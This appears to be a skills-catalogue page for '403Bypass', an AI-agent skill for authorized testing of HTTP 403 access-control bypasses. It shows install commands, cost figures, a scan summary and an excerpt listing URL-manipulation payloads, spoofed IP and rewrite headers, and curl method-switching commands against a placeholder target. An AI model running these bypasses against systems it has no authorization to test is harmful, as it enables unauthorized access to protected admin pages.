A security-testing skill for checking whether pages that return HTTP 403 Forbidden can be reached through alternative URL formats.

Use it during authorized security testing of forbidden pages and endpoints, including content-discovery results.

It helps identify access-control or web-firewall configurations that block one URL but mistakenly allow another.

403Bypass — Skill for Claude Code and Codex by SecurityTalent: A security-testing skill for checking whether pages that return…

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods

npx agentmods add skills/securitytalent/bugskill-ai/403bypass

Any agent

npx skills add SecurityTalent/bugskill-ai --skill 403bypass

Clone the repo

git clone --depth 1 https://github.com/SecurityTalent/bugskill-ai

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

README.md

[![agentmods](https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/403bypass.svg)](https://agentmods.dev/skills/securitytalent/bugskill-ai/403bypass)

Your own site

<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/403bypass"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/403bypass.svg" alt="Measured on agentmods" height="20"></a>

Per session 54 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.

When invoked 1,399 The whole file, excluding the scripts and references it only reads on demand.

Security scan A 1 finding. Scan, not verified.

Origin original No closer match found in the catalogue.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Model	Per session	Once invoked
Fable 5	$0.00054	$0.01399
Opus 5	$0.00027	$0.00700
Sonnet 5	$0.00011	$0.00280
Haiku 4.5	$0.00005	$0.00140

Measured 4d ago against content hash 715e513e337c, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

403Bypass scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

The scan reads SKILL.md. This mod also ships 2 executable files (scripts/bypass403-batch.sh, scripts/bypass403.sh), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -X POST https://target.com/admin

Awesome-Claude-Code-Agent-Skills/403Bypass/SKILL.md · 203 lines

How it starts

The opening of the file, as written. The whole thing — 203 lines — stays where its author put it; the contents beside it link to each section on GitHub.

403 Bypass Skill

Automated testing of 403 Forbidden bypass techniques based on Arcanum's hack_tips.

When to Use

Content discovery finds 403 paths
Recon identifies forbidden endpoints
User asks to bypass 403/forbidden
Testing access control misconfigurations

Quick Start

# Test single URL
~/clawd/skills/403Bypass/scripts/bypass403.sh https://target.com/admin

# Test multiple URLs from file
cat 403-urls.txt | xargs -I {} ~/clawd/skills/403Bypass/scripts/bypass403.sh {}

# Use nomore403 tool (more comprehensive)
nomore403 -u https://target.com/admin

Bypass Techniques

1. URL Manipulation (Top 77 - Seclists jhaddix list)

These work best on config files and global dashboards:

/admin/?
//admin//
///admin///
/./admin/./
/admin??
/admin/?/
/admin/..
/admin/../
/admin/./
/admin/.
/admin/.//
/admin/*
/admin/%2f
/admin/%20
/admin/%09
/admin/%0a
/admin/%0d
/admin/%25
/admin/%23
/admin/%26
/admin/%3f
/admin/#
/admin/#/
/./admin
/..;/admin
/.;/admin
/;/admin
//;//admin
/%2e/admin
/admin/..;/
/admin.json
/admin/.json
/admin..;/
/admin;/
/admin%00
/admin.css
/admin.html
/admin?id=1
/admin~
/admin/°/
/admin/&
/admin/-
/admin\/\/
/admin/..%3B/
/admin/;%2f..%2f..%2f
/ADMIN
/admin/..\;/
/*/admin
/ADM+IN

2. Header Manipulation

Add these headers to requests:

X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: localhost
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Custom-IP-Authorization: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-Original-Method: GET
X-HTTP-Method-Override: GET

3. HTTP Method Switching

# Try different methods
curl -X POST https://target.com/admin
curl -X PUT https://target.com/admin
curl -X PATCH https://target.com/admin
curl -X DELETE https://target.com/admin
curl -X OPTIONS https://target.com/admin
curl -X TRACE https://target.com/admin
curl -X CONNECT https://target.com/admin

Read the full file on GitHub · 203 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

4d ago First seen · 203 lines · 54 tokens per session scan A 715e513e337c

Subscribe to this mod's changes

403Bypass is a skill published in the GitHub repository SecurityTalent/bugskill-ai (5 stars, last pushed 19d ago), licensed MIT. It adds 54 tokens to every session and 1,399 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

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403Bypass